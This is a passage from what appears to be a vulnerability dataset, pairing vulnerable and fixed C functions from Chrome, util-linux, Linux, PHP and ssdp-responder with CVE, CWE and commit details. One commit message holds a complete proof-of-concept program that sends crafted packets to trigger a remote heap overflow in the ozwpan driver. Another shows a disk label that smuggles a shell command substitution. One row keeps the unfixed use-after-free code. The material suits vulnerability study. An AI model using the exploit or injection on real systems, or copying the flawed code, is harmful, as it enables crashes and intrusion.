if (scrollsOverflowY() && (!cell->style()->logicalHeight().isAuto() || !cell->table()->style()->logicalHeight().isAuto()))
return 0;
return -1;
}
result = cb->overrideHeight();
includeBorderPadding = true;
}
}
else if (cb->style()->logicalHeight().isFixed())
result = cb->computeContentBoxLogicalHeight(cb->style()->logicalHeight().value());
else if (cb->style()->logicalHeight().isPercent() && !isPositionedWithSpecifiedHeight) {
result = cb->computePercentageLogicalHeight(cb->style()->logicalHeight());
if (result != -1)
result = cb->computeContentBoxLogicalHeight(result);
} else if (cb->isRenderView() || (cb->isBody() && document()->inQuirksMode()) || isPositionedWithSpecifiedHeight) {
LayoutUnit oldHeight = cb->logicalHeight();
cb->computeLogicalHeight();
result = cb->contentLogicalHeight();
cb->setLogicalHeight(oldHeight);
} else if (cb->isRoot() && isPositioned())
result = cb->computeContentBoxLogicalHeight(cb->availableLogicalHeight());
if (result != -1) {
result = height.calcValue(result);
if (includeBorderPadding) {
result -= borderAndPaddingLogicalHeight();
result = max<LayoutUnit>(0, result);
}
}
return result;
}
|
C
|
Chrome
| 0 |
CVE-2014-9114
|
https://www.cvedetails.com/cve/CVE-2014-9114/
|
CWE-77
|
https://github.com/karelzak/util-linux/commit/89e90ae7b2826110ea28c1c0eb8e7c56c3907bdc
|
89e90ae7b2826110ea28c1c0eb8e7c56c3907bdc
|
libblkid: care about unsafe chars in cache
The high-level libblkid API uses /run/blkid/blkid.tab cache to
store probing results. The cache format is
<device NAME="value" ...>devname</device>
and unfortunately the cache code does not escape quotation marks:
# mkfs.ext4 -L 'AAA"BBB'
# cat /run/blkid/blkid.tab
...
<device ... LABEL="AAA"BBB" ...>/dev/sdb1</device>
such string is later incorrectly parsed and blkid(8) returns
nonsenses. And for use-cases like
# eval $(blkid -o export /dev/sdb1)
it's also insecure.
Note that mount, udevd and blkid -p are based on low-level libblkid
API, it bypass the cache and directly read data from the devices.
The current udevd upstream does not depend on blkid(8) output at all,
it's directly linked with the library and all unsafe chars are encoded by
\x<hex> notation.
# mkfs.ext4 -L 'X"`/tmp/foo` "' /dev/sdb1
# udevadm info --export-db | grep LABEL
...
E: ID_FS_LABEL=X__/tmp/foo___
E: ID_FS_LABEL_ENC=X\x22\x60\x2ftmp\x2ffoo\x60\x20\x22
Signed-off-by: Karel Zak <[email protected]>
|
static int print_udev_ambivalent(blkid_probe pr)
{
char *val = NULL;
size_t valsz = 0;
int count = 0, rc = -1;
while (!blkid_do_probe(pr)) {
const char *usage_txt = NULL, *type = NULL, *version = NULL;
char enc[256];
blkid_probe_lookup_value(pr, "USAGE", &usage_txt, NULL);
blkid_probe_lookup_value(pr, "TYPE", &type, NULL);
blkid_probe_lookup_value(pr, "VERSION", &version, NULL);
if (!usage_txt || !type)
continue;
blkid_encode_string(usage_txt, enc, sizeof(enc));
if (append_str(&val, &valsz, enc, ":"))
goto done;
blkid_encode_string(type, enc, sizeof(enc));
if (append_str(&val, &valsz, enc, version ? ":" : " "))
goto done;
if (version) {
blkid_encode_string(version, enc, sizeof(enc));
if (append_str(&val, &valsz, enc, " "))
goto done;
}
count++;
}
if (count > 1) {
*(val + valsz - 1) = '\0'; /* rem tailing whitespace */
printf("ID_FS_AMBIVALENT=%s\n", val);
rc = 0;
}
done:
free(val);
return rc;
}
|
static int print_udev_ambivalent(blkid_probe pr)
{
char *val = NULL;
size_t valsz = 0;
int count = 0, rc = -1;
while (!blkid_do_probe(pr)) {
const char *usage_txt = NULL, *type = NULL, *version = NULL;
char enc[256];
blkid_probe_lookup_value(pr, "USAGE", &usage_txt, NULL);
blkid_probe_lookup_value(pr, "TYPE", &type, NULL);
blkid_probe_lookup_value(pr, "VERSION", &version, NULL);
if (!usage_txt || !type)
continue;
blkid_encode_string(usage_txt, enc, sizeof(enc));
if (append_str(&val, &valsz, enc, ":"))
goto done;
blkid_encode_string(type, enc, sizeof(enc));
if (append_str(&val, &valsz, enc, version ? ":" : " "))
goto done;
if (version) {
blkid_encode_string(version, enc, sizeof(enc));
if (append_str(&val, &valsz, enc, " "))
goto done;
}
count++;
}
if (count > 1) {
*(val + valsz - 1) = '\0'; /* rem tailing whitespace */
printf("ID_FS_AMBIVALENT=%s\n", val);
rc = 0;
}
done:
free(val);
return rc;
}
|
C
|
util-linux
| 0 |
CVE-2013-2858
|
https://www.cvedetails.com/cve/CVE-2013-2858/
|
CWE-416
|
https://github.com/chromium/chromium/commit/828eab2216a765dea92575c290421c115b8ad028
|
828eab2216a765dea92575c290421c115b8ad028
|
Added daily UMA for non-data-reduction-proxy data usage when the proxy is enabled.
BUG=325325
Review URL: https://codereview.chromium.org/106113002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@239897 0039d316-1c4b-4281-b951-d872f2087c98
|
bool ChromeNetworkDelegate::OnCanGetCookies(
const net::URLRequest& request,
const net::CookieList& cookie_list) {
if (!cookie_settings_.get())
return true;
bool allow = cookie_settings_->IsReadingCookieAllowed(
request.url(), request.first_party_for_cookies());
int render_process_id = -1;
int render_view_id = -1;
if (content::ResourceRequestInfo::GetRenderViewForRequest(
&request, &render_process_id, &render_view_id)) {
BrowserThread::PostTask(
BrowserThread::UI, FROM_HERE,
base::Bind(&TabSpecificContentSettings::CookiesRead,
render_process_id, render_view_id,
request.url(), request.first_party_for_cookies(),
cookie_list, !allow));
}
return allow;
}
|
bool ChromeNetworkDelegate::OnCanGetCookies(
const net::URLRequest& request,
const net::CookieList& cookie_list) {
if (!cookie_settings_.get())
return true;
bool allow = cookie_settings_->IsReadingCookieAllowed(
request.url(), request.first_party_for_cookies());
int render_process_id = -1;
int render_view_id = -1;
if (content::ResourceRequestInfo::GetRenderViewForRequest(
&request, &render_process_id, &render_view_id)) {
BrowserThread::PostTask(
BrowserThread::UI, FROM_HERE,
base::Bind(&TabSpecificContentSettings::CookiesRead,
render_process_id, render_view_id,
request.url(), request.first_party_for_cookies(),
cookie_list, !allow));
}
return allow;
}
|
C
|
Chrome
| 0 |
CVE-2016-3841
|
https://www.cvedetails.com/cve/CVE-2016-3841/
|
CWE-416
|
https://github.com/torvalds/linux/commit/45f6fad84cc305103b28d73482b344d7f5b76f39
|
45f6fad84cc305103b28d73482b344d7f5b76f39
|
ipv6: add complete rcu protection around np->opt
This patch addresses multiple problems :
UDP/RAW sendmsg() need to get a stable struct ipv6_txoptions
while socket is not locked : Other threads can change np->opt
concurrently. Dmitry posted a syzkaller
(http://github.com/google/syzkaller) program desmonstrating
use-after-free.
Starting with TCP/DCCP lockless listeners, tcp_v6_syn_recv_sock()
and dccp_v6_request_recv_sock() also need to use RCU protection
to dereference np->opt once (before calling ipv6_dup_options())
This patch adds full RCU protection to np->opt
Reported-by: Dmitry Vyukov <[email protected]>
Signed-off-by: Eric Dumazet <[email protected]>
Acked-by: Hannes Frederic Sowa <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
|
struct dst_entry *inet6_csk_route_req(const struct sock *sk,
struct flowi6 *fl6,
const struct request_sock *req,
u8 proto)
{
struct inet_request_sock *ireq = inet_rsk(req);
const struct ipv6_pinfo *np = inet6_sk(sk);
struct in6_addr *final_p, final;
struct dst_entry *dst;
memset(fl6, 0, sizeof(*fl6));
fl6->flowi6_proto = proto;
fl6->daddr = ireq->ir_v6_rmt_addr;
rcu_read_lock();
final_p = fl6_update_dst(fl6, rcu_dereference(np->opt), &final);
rcu_read_unlock();
fl6->saddr = ireq->ir_v6_loc_addr;
fl6->flowi6_oif = ireq->ir_iif;
fl6->flowi6_mark = ireq->ir_mark;
fl6->fl6_dport = ireq->ir_rmt_port;
fl6->fl6_sport = htons(ireq->ir_num);
security_req_classify_flow(req, flowi6_to_flowi(fl6));
dst = ip6_dst_lookup_flow(sk, fl6, final_p);
if (IS_ERR(dst))
return NULL;
return dst;
}
|
struct dst_entry *inet6_csk_route_req(const struct sock *sk,
struct flowi6 *fl6,
const struct request_sock *req,
u8 proto)
{
struct inet_request_sock *ireq = inet_rsk(req);
const struct ipv6_pinfo *np = inet6_sk(sk);
struct in6_addr *final_p, final;
struct dst_entry *dst;
memset(fl6, 0, sizeof(*fl6));
fl6->flowi6_proto = proto;
fl6->daddr = ireq->ir_v6_rmt_addr;
final_p = fl6_update_dst(fl6, np->opt, &final);
fl6->saddr = ireq->ir_v6_loc_addr;
fl6->flowi6_oif = ireq->ir_iif;
fl6->flowi6_mark = ireq->ir_mark;
fl6->fl6_dport = ireq->ir_rmt_port;
fl6->fl6_sport = htons(ireq->ir_num);
security_req_classify_flow(req, flowi6_to_flowi(fl6));
dst = ip6_dst_lookup_flow(sk, fl6, final_p);
if (IS_ERR(dst))
return NULL;
return dst;
}
|
C
|
linux
| 1 |
CVE-2016-1646
|
https://www.cvedetails.com/cve/CVE-2016-1646/
|
CWE-119
|
https://github.com/chromium/chromium/commit/84fbaf8414b4911ef122557d1518b50f79c2eaef
|
84fbaf8414b4911ef122557d1518b50f79c2eaef
|
OomIntervention opt-out should work properly with 'show original'
OomIntervention should not be re-triggered on the same page if the user declines the intervention once.
This CL fixes the bug.
Bug: 889131, 887119
Change-Id: Idb9eebb2bb9f79756b63f0e010fe018ba5c490e8
Reviewed-on: https://chromium-review.googlesource.com/1245019
Commit-Queue: Yuzu Saijo <[email protected]>
Reviewed-by: Kentaro Hara <[email protected]>
Cr-Commit-Position: refs/heads/master@{#594574}
|
void OomInterventionTabHelper::OnCrashDumpProcessed(
int rph_id,
const crash_reporter::CrashMetricsReporter::ReportedCrashTypeSet&
reported_counts) {
if (rph_id != web_contents()->GetMainFrame()->GetProcess()->GetID())
return;
if (!reported_counts.count(
crash_reporter::CrashMetricsReporter::ProcessedCrashCounts::
kRendererForegroundVisibleOom)) {
return;
}
DCHECK(IsLastVisibleWebContents(web_contents()));
if (near_oom_detected_time_) {
base::TimeDelta elapsed_time =
base::TimeTicks::Now() - near_oom_detected_time_.value();
UMA_HISTOGRAM_MEDIUM_TIMES(
"Memory.Experimental.OomIntervention."
"OomProtectedCrashAfterDetectionTime",
elapsed_time);
if (intervention_state_ != InterventionState::NOT_TRIGGERED) {
bool accepted = intervention_state_ != InterventionState::DECLINED;
RecordInterventionStateOnCrash(accepted);
}
ResetInterventionState();
} else {
RecordNearOomDetectionEndReason(
NearOomDetectionEndReason::OOM_PROTECTED_CRASH);
}
base::TimeDelta time_since_last_navigation;
if (!last_navigation_timestamp_.is_null()) {
time_since_last_navigation =
base::TimeTicks::Now() - last_navigation_timestamp_;
}
UMA_HISTOGRAM_COUNTS_1M(
"Memory.Experimental.OomIntervention."
"RendererTimeSinceLastNavigationAtOOM",
time_since_last_navigation.InSeconds());
if (decider_) {
DCHECK(!web_contents()->GetBrowserContext()->IsOffTheRecord());
const std::string& host = web_contents()->GetVisibleURL().host();
decider_->OnOomDetected(host);
}
}
|
void OomInterventionTabHelper::OnCrashDumpProcessed(
int rph_id,
const crash_reporter::CrashMetricsReporter::ReportedCrashTypeSet&
reported_counts) {
if (rph_id != web_contents()->GetMainFrame()->GetProcess()->GetID())
return;
if (!reported_counts.count(
crash_reporter::CrashMetricsReporter::ProcessedCrashCounts::
kRendererForegroundVisibleOom)) {
return;
}
DCHECK(IsLastVisibleWebContents(web_contents()));
if (near_oom_detected_time_) {
base::TimeDelta elapsed_time =
base::TimeTicks::Now() - near_oom_detected_time_.value();
UMA_HISTOGRAM_MEDIUM_TIMES(
"Memory.Experimental.OomIntervention."
"OomProtectedCrashAfterDetectionTime",
elapsed_time);
if (intervention_state_ != InterventionState::NOT_TRIGGERED) {
bool accepted = intervention_state_ != InterventionState::DECLINED;
RecordInterventionStateOnCrash(accepted);
}
ResetInterventionState();
} else {
RecordNearOomDetectionEndReason(
NearOomDetectionEndReason::OOM_PROTECTED_CRASH);
}
base::TimeDelta time_since_last_navigation;
if (!last_navigation_timestamp_.is_null()) {
time_since_last_navigation =
base::TimeTicks::Now() - last_navigation_timestamp_;
}
UMA_HISTOGRAM_COUNTS_1M(
"Memory.Experimental.OomIntervention."
"RendererTimeSinceLastNavigationAtOOM",
time_since_last_navigation.InSeconds());
if (decider_) {
DCHECK(!web_contents()->GetBrowserContext()->IsOffTheRecord());
const std::string& host = web_contents()->GetVisibleURL().host();
decider_->OnOomDetected(host);
}
}
|
C
|
Chrome
| 0 |
CVE-2018-6033
|
https://www.cvedetails.com/cve/CVE-2018-6033/
|
CWE-20
|
https://github.com/chromium/chromium/commit/a8d6ae61d266d8bc44c3dd2d08bda32db701e359
|
a8d6ae61d266d8bc44c3dd2d08bda32db701e359
|
Downloads : Fixed an issue of opening incorrect download file
When one download overwrites another completed download, calling download.open in the old download causes the new download to open, which could be dangerous and undesirable. In this CL, we are trying to avoid this by blocking the opening of the old download.
Bug: 793620
Change-Id: Ic948175756700ad7c08489c3cc347330daedb6f8
Reviewed-on: https://chromium-review.googlesource.com/826477
Reviewed-by: David Trainor <[email protected]>
Reviewed-by: Xing Liu <[email protected]>
Reviewed-by: John Abd-El-Malek <[email protected]>
Commit-Queue: Shakti Sahu <[email protected]>
Cr-Commit-Position: refs/heads/master@{#525810}
|
DownloadManagerDelegate::~DownloadManagerDelegate() {}
|
DownloadManagerDelegate::~DownloadManagerDelegate() {}
|
C
|
Chrome
| 0 |
CVE-2015-8617
|
https://www.cvedetails.com/cve/CVE-2015-8617/
|
CWE-134
|
https://github.com/php/php-src/commit/b101a6bbd4f2181c360bd38e7683df4a03cba83e
|
b101a6bbd4f2181c360bd38e7683df4a03cba83e
|
Use format string
|
ZEND_API zend_class_entry *zend_lookup_class_ex(zend_string *name, const zval *key, int use_autoload) /* {{{ */
{
zend_class_entry *ce = NULL;
zval args[1];
zval local_retval;
int retval;
zend_string *lc_name;
zend_fcall_info fcall_info;
zend_fcall_info_cache fcall_cache;
if (key) {
lc_name = Z_STR_P(key);
} else {
if (name == NULL || !ZSTR_LEN(name)) {
return NULL;
}
if (ZSTR_VAL(name)[0] == '\\') {
lc_name = zend_string_alloc(ZSTR_LEN(name) - 1, 0);
zend_str_tolower_copy(ZSTR_VAL(lc_name), ZSTR_VAL(name) + 1, ZSTR_LEN(name) - 1);
} else {
lc_name = zend_string_tolower(name);
}
}
ce = zend_hash_find_ptr(EG(class_table), lc_name);
if (ce) {
if (!key) {
zend_string_release(lc_name);
}
return ce;
}
/* The compiler is not-reentrant. Make sure we __autoload() only during run-time
* (doesn't impact functionality of __autoload()
*/
if (!use_autoload || zend_is_compiling()) {
if (!key) {
zend_string_release(lc_name);
}
return NULL;
}
if (!EG(autoload_func)) {
zend_function *func = zend_hash_str_find_ptr(EG(function_table), ZEND_AUTOLOAD_FUNC_NAME, sizeof(ZEND_AUTOLOAD_FUNC_NAME) - 1);
if (func) {
EG(autoload_func) = func;
} else {
if (!key) {
zend_string_release(lc_name);
}
return NULL;
}
}
/* Verify class name before passing it to __autoload() */
if (strspn(ZSTR_VAL(name), "0123456789_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\177\200\201\202\203\204\205\206\207\210\211\212\213\214\215\216\217\220\221\222\223\224\225\226\227\230\231\232\233\234\235\236\237\240\241\242\243\244\245\246\247\250\251\252\253\254\255\256\257\260\261\262\263\264\265\266\267\270\271\272\273\274\275\276\277\300\301\302\303\304\305\306\307\310\311\312\313\314\315\316\317\320\321\322\323\324\325\326\327\330\331\332\333\334\335\336\337\340\341\342\343\344\345\346\347\350\351\352\353\354\355\356\357\360\361\362\363\364\365\366\367\370\371\372\373\374\375\376\377\\") != ZSTR_LEN(name)) {
if (!key) {
zend_string_release(lc_name);
}
return NULL;
}
if (EG(in_autoload) == NULL) {
ALLOC_HASHTABLE(EG(in_autoload));
zend_hash_init(EG(in_autoload), 8, NULL, NULL, 0);
}
if (zend_hash_add_empty_element(EG(in_autoload), lc_name) == NULL) {
if (!key) {
zend_string_release(lc_name);
}
return NULL;
}
ZVAL_UNDEF(&local_retval);
if (ZSTR_VAL(name)[0] == '\\') {
ZVAL_STRINGL(&args[0], ZSTR_VAL(name) + 1, ZSTR_LEN(name) - 1);
} else {
ZVAL_STR_COPY(&args[0], name);
}
fcall_info.size = sizeof(fcall_info);
fcall_info.function_table = EG(function_table);
ZVAL_STR_COPY(&fcall_info.function_name, EG(autoload_func)->common.function_name);
fcall_info.symbol_table = NULL;
fcall_info.retval = &local_retval;
fcall_info.param_count = 1;
fcall_info.params = args;
fcall_info.object = NULL;
fcall_info.no_separation = 1;
fcall_cache.initialized = 1;
fcall_cache.function_handler = EG(autoload_func);
fcall_cache.calling_scope = NULL;
fcall_cache.called_scope = NULL;
fcall_cache.object = NULL;
zend_exception_save();
retval = zend_call_function(&fcall_info, &fcall_cache);
zend_exception_restore();
zval_ptr_dtor(&args[0]);
zval_dtor(&fcall_info.function_name);
zend_hash_del(EG(in_autoload), lc_name);
zval_ptr_dtor(&local_retval);
if (retval == SUCCESS) {
ce = zend_hash_find_ptr(EG(class_table), lc_name);
}
if (!key) {
zend_string_release(lc_name);
}
return ce;
}
/* }}} */
|
ZEND_API zend_class_entry *zend_lookup_class_ex(zend_string *name, const zval *key, int use_autoload) /* {{{ */
{
zend_class_entry *ce = NULL;
zval args[1];
zval local_retval;
int retval;
zend_string *lc_name;
zend_fcall_info fcall_info;
zend_fcall_info_cache fcall_cache;
if (key) {
lc_name = Z_STR_P(key);
} else {
if (name == NULL || !ZSTR_LEN(name)) {
return NULL;
}
if (ZSTR_VAL(name)[0] == '\\') {
lc_name = zend_string_alloc(ZSTR_LEN(name) - 1, 0);
zend_str_tolower_copy(ZSTR_VAL(lc_name), ZSTR_VAL(name) + 1, ZSTR_LEN(name) - 1);
} else {
lc_name = zend_string_tolower(name);
}
}
ce = zend_hash_find_ptr(EG(class_table), lc_name);
if (ce) {
if (!key) {
zend_string_release(lc_name);
}
return ce;
}
/* The compiler is not-reentrant. Make sure we __autoload() only during run-time
* (doesn't impact functionality of __autoload()
*/
if (!use_autoload || zend_is_compiling()) {
if (!key) {
zend_string_release(lc_name);
}
return NULL;
}
if (!EG(autoload_func)) {
zend_function *func = zend_hash_str_find_ptr(EG(function_table), ZEND_AUTOLOAD_FUNC_NAME, sizeof(ZEND_AUTOLOAD_FUNC_NAME) - 1);
if (func) {
EG(autoload_func) = func;
} else {
if (!key) {
zend_string_release(lc_name);
}
return NULL;
}
}
/* Verify class name before passing it to __autoload() */
if (strspn(ZSTR_VAL(name), "0123456789_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\177\200\201\202\203\204\205\206\207\210\211\212\213\214\215\216\217\220\221\222\223\224\225\226\227\230\231\232\233\234\235\236\237\240\241\242\243\244\245\246\247\250\251\252\253\254\255\256\257\260\261\262\263\264\265\266\267\270\271\272\273\274\275\276\277\300\301\302\303\304\305\306\307\310\311\312\313\314\315\316\317\320\321\322\323\324\325\326\327\330\331\332\333\334\335\336\337\340\341\342\343\344\345\346\347\350\351\352\353\354\355\356\357\360\361\362\363\364\365\366\367\370\371\372\373\374\375\376\377\\") != ZSTR_LEN(name)) {
if (!key) {
zend_string_release(lc_name);
}
return NULL;
}
if (EG(in_autoload) == NULL) {
ALLOC_HASHTABLE(EG(in_autoload));
zend_hash_init(EG(in_autoload), 8, NULL, NULL, 0);
}
if (zend_hash_add_empty_element(EG(in_autoload), lc_name) == NULL) {
if (!key) {
zend_string_release(lc_name);
}
return NULL;
}
ZVAL_UNDEF(&local_retval);
if (ZSTR_VAL(name)[0] == '\\') {
ZVAL_STRINGL(&args[0], ZSTR_VAL(name) + 1, ZSTR_LEN(name) - 1);
} else {
ZVAL_STR_COPY(&args[0], name);
}
fcall_info.size = sizeof(fcall_info);
fcall_info.function_table = EG(function_table);
ZVAL_STR_COPY(&fcall_info.function_name, EG(autoload_func)->common.function_name);
fcall_info.symbol_table = NULL;
fcall_info.retval = &local_retval;
fcall_info.param_count = 1;
fcall_info.params = args;
fcall_info.object = NULL;
fcall_info.no_separation = 1;
fcall_cache.initialized = 1;
fcall_cache.function_handler = EG(autoload_func);
fcall_cache.calling_scope = NULL;
fcall_cache.called_scope = NULL;
fcall_cache.object = NULL;
zend_exception_save();
retval = zend_call_function(&fcall_info, &fcall_cache);
zend_exception_restore();
zval_ptr_dtor(&args[0]);
zval_dtor(&fcall_info.function_name);
zend_hash_del(EG(in_autoload), lc_name);
zval_ptr_dtor(&local_retval);
if (retval == SUCCESS) {
ce = zend_hash_find_ptr(EG(class_table), lc_name);
}
if (!key) {
zend_string_release(lc_name);
}
return ce;
}
/* }}} */
|
C
|
php-src
| 0 |
CVE-2015-4001
|
https://www.cvedetails.com/cve/CVE-2015-4001/
|
CWE-189
|
https://github.com/torvalds/linux/commit/b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c
|
b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c
|
ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
Acked-by: Dan Carpenter <[email protected]>
Cc: stable <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]>
|
static void oz_complete_buffered_urb(struct oz_port *port,
struct oz_endpoint *ep,
struct urb *urb)
{
int data_len, available_space, copy_len;
data_len = ep->buffer[ep->out_ix];
if (data_len <= urb->transfer_buffer_length)
available_space = data_len;
else
available_space = urb->transfer_buffer_length;
if (++ep->out_ix == ep->buffer_size)
ep->out_ix = 0;
copy_len = ep->buffer_size - ep->out_ix;
if (copy_len >= available_space)
copy_len = available_space;
memcpy(urb->transfer_buffer, &ep->buffer[ep->out_ix], copy_len);
if (copy_len < available_space) {
memcpy((urb->transfer_buffer + copy_len), ep->buffer,
(available_space - copy_len));
ep->out_ix = available_space - copy_len;
} else {
ep->out_ix += copy_len;
}
urb->actual_length = available_space;
if (ep->out_ix == ep->buffer_size)
ep->out_ix = 0;
ep->buffered_units--;
oz_dbg(ON, "Trying to give back buffered frame of size=%d\n",
available_space);
oz_complete_urb(port->ozhcd->hcd, urb, 0);
}
|
static void oz_complete_buffered_urb(struct oz_port *port,
struct oz_endpoint *ep,
struct urb *urb)
{
int data_len, available_space, copy_len;
data_len = ep->buffer[ep->out_ix];
if (data_len <= urb->transfer_buffer_length)
available_space = data_len;
else
available_space = urb->transfer_buffer_length;
if (++ep->out_ix == ep->buffer_size)
ep->out_ix = 0;
copy_len = ep->buffer_size - ep->out_ix;
if (copy_len >= available_space)
copy_len = available_space;
memcpy(urb->transfer_buffer, &ep->buffer[ep->out_ix], copy_len);
if (copy_len < available_space) {
memcpy((urb->transfer_buffer + copy_len), ep->buffer,
(available_space - copy_len));
ep->out_ix = available_space - copy_len;
} else {
ep->out_ix += copy_len;
}
urb->actual_length = available_space;
if (ep->out_ix == ep->buffer_size)
ep->out_ix = 0;
ep->buffered_units--;
oz_dbg(ON, "Trying to give back buffered frame of size=%d\n",
available_space);
oz_complete_urb(port->ozhcd->hcd, urb, 0);
}
|
C
|
linux
| 0 |
CVE-2018-6043
|
https://www.cvedetails.com/cve/CVE-2018-6043/
|
CWE-20
|
https://github.com/chromium/chromium/commit/36fd3c9a6ba9fce9dd80c442c3ba5decd8e4c065
|
36fd3c9a6ba9fce9dd80c442c3ba5decd8e4c065
|
Reland "Launching an external protocol handler now escapes the URL."
This is a reland of 2401e58572884b3561e4348d64f11ac74667ef02
Original change's description:
> Launching an external protocol handler now escapes the URL.
>
> Fixes bug introduced in r102449.
>
> Bug: 785809
> Change-Id: I9e6dd1031dd7e7b8d378b138ab151daefdc0c6dc
> Reviewed-on: https://chromium-review.googlesource.com/778747
> Commit-Queue: Matt Giuca <[email protected]>
> Reviewed-by: Eric Lawrence <[email protected]>
> Reviewed-by: Ben Wells <[email protected]>
> Cr-Commit-Position: refs/heads/master@{#518848}
Bug: 785809
Change-Id: Ib8954584004ff5681654398db76d48cdf4437df7
Reviewed-on: https://chromium-review.googlesource.com/788551
Reviewed-by: Ben Wells <[email protected]>
Commit-Queue: Matt Giuca <[email protected]>
Cr-Commit-Position: refs/heads/master@{#519203}
|
scoped_refptr<shell_integration::DefaultProtocolClientWorker> CreateShellWorker(
const shell_integration::DefaultWebClientWorkerCallback& callback,
const std::string& protocol,
ExternalProtocolHandler::Delegate* delegate) {
if (delegate)
return delegate->CreateShellWorker(callback, protocol);
return base::MakeRefCounted<shell_integration::DefaultProtocolClientWorker>(
callback, protocol);
}
|
scoped_refptr<shell_integration::DefaultProtocolClientWorker> CreateShellWorker(
const shell_integration::DefaultWebClientWorkerCallback& callback,
const std::string& protocol,
ExternalProtocolHandler::Delegate* delegate) {
if (delegate)
return delegate->CreateShellWorker(callback, protocol);
return base::MakeRefCounted<shell_integration::DefaultProtocolClientWorker>(
callback, protocol);
}
|
C
|
Chrome
| 0 |
CVE-2019-14323
|
https://www.cvedetails.com/cve/CVE-2019-14323/
|
CWE-119
|
https://github.com/troglobit/ssdp-responder/commit/ce04b1f29a137198182f60bbb628d5ceb8171765
|
ce04b1f29a137198182f60bbb628d5ceb8171765
|
Fix #1: Ensure recv buf is always NUL terminated
Signed-off-by: Joachim Nilsson <[email protected]>
|
static void ssdp_recv(int sd)
{
ssize_t len;
